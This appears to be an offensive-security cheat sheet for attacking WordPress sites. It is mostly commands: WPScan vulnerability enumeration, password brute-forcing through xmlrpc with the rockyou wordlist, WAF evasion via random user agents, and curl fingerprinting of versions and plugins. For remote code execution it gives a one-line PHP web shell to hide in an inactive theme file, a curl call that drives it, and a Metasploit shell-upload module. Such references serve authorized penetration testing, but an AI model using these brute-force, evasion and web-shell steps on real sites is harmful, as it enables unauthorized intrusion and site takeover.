WordPress

General Information

Directories

/wp-admin -> /wp-login.php

/wp-content/plugins/

/wp-content/themes/

Wordlists

wordpress.fuzz.txt

wp-plugins.fuzz.txt

wp-themes.fuzz.txt

Roles & Permissions

Administrator -> King 👑

Editor -> Post management + publish (for all users)

Author -> Post management + publish (owned posts)

Contributor -> Post management (owned posts)

Subscriber -> Browse posts, manage its own profile

Automated Enumeration (WPScan)

For vulnerability scanning get a token from WPScan.

Update DB

wpscan --update

Vulnerable Components

sudo wpscan --url example.com --enumerate --api-token <TOKEN>

Brute-force

# Enumerating users and brute-forcing
sudo wpscan --url example.com -e u --passwords password.lst
# Targeted brute-forcing using xmlrpc
sudo wpscan --password-attack xmlrpc -t 20 --url http://example.com -U roger -P /usr/share/wordlists/rockyou

WAF Evasion

sudo wpscan --url example.com --enumerate --api-token <TOKEN> --random-user-agent

WPScan uses 2 kinds of BFA:

1. xmlrpc -> uses WP's API to BF (xmlrpc.php) (this is faster)
2. wp-login -> attempts to BF wp-login.php

Manual Enumeration

Version

curl -s example.com | grep '<meta name="generator"'

Themes

curl -s example.com | grep themes

Plugins

curl -s example.com | grep plugins

Plugin Version*

curl -s example.com/wp-content/plugins/mail-masta/readme.txt | grep "Stable tag:"

*Plugin version requires Directory listing to be enabled.

RCE

Browser

A simple PHP web shell (obfuscate the file name).

<?php system($_GET['c']); ?>

Modify a less-used file of an inactive theme for avoiding breaking the site.

Step for RCE after gaining admin access.

Interact with the shell via CLI.

curl http://example.com/wp-content/themes/twentytwenty/404.php?c=id

Metasploit

# launch metasploit
msfconsole -q
# use module (make sure to `set VHOST`)
msf6 > use exploit/unix/webapp/wp_admin_shell_upload

Resources

Repo

GitHub - wpscanteam/wpscan: WPScan WordPress security scanner. Written for security professionals and blog maintainers to test the security of their WordPress websites.GitHub

Wiki

WPScan User Documentation · wpscanteam/wpscan WikiGitHub